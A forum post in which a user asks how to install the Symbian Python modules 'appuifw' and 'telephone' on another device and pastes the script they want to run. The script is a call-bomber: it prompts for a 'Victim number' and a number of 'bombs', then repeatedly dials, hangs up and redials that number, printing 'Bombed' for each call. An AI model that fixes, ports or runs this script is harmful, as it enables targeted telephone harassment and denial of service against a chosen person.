View Single Post
Posts: 14 | Thanked: 4 times | Joined on Jan 2011
#5
i tried. in Terminal say error line 1: no modules name appuifw.

BTW, in my code of py application have one more module name "telephone".

So , how can i install module for this python app?


sr 4 my bad English

PS: my Py code i used in Python Symbian:

import appuifw
import telephone
import e32

soDTbomb = appuifw.query(u"Victim number?","text")
nm = appuifw.query(u"how much bomb:","number")

def handleCall((callState, number)):
if callState == telephone.EStatusConnected:
e32.ao_sleep(0.2)
telephone.hang_up()
e32.ao_sleep(0.7)
telephone.dial(soDTbomb)
e32.ao_sleep(0.2)
telephone.call_state(handleCall)

for PS in range(nm):
print "(^_^)Bombed %d"%(PS+1)
telephone.dial(soDTbomb)
try:
e32.ao_sleep(0.7)
telephone.dial(soDTbomb)
except:
telephone.call_state(handleCall)
e32.ao_sleep(40)
telephone.hang_up()
e32.ao_sleep(0.7)
print "Done %d call."%(PS+1)

Last edited by md07; 2013-04-02 at 04:34.
 

The Following User Says Thank You to md07 For This Useful Post: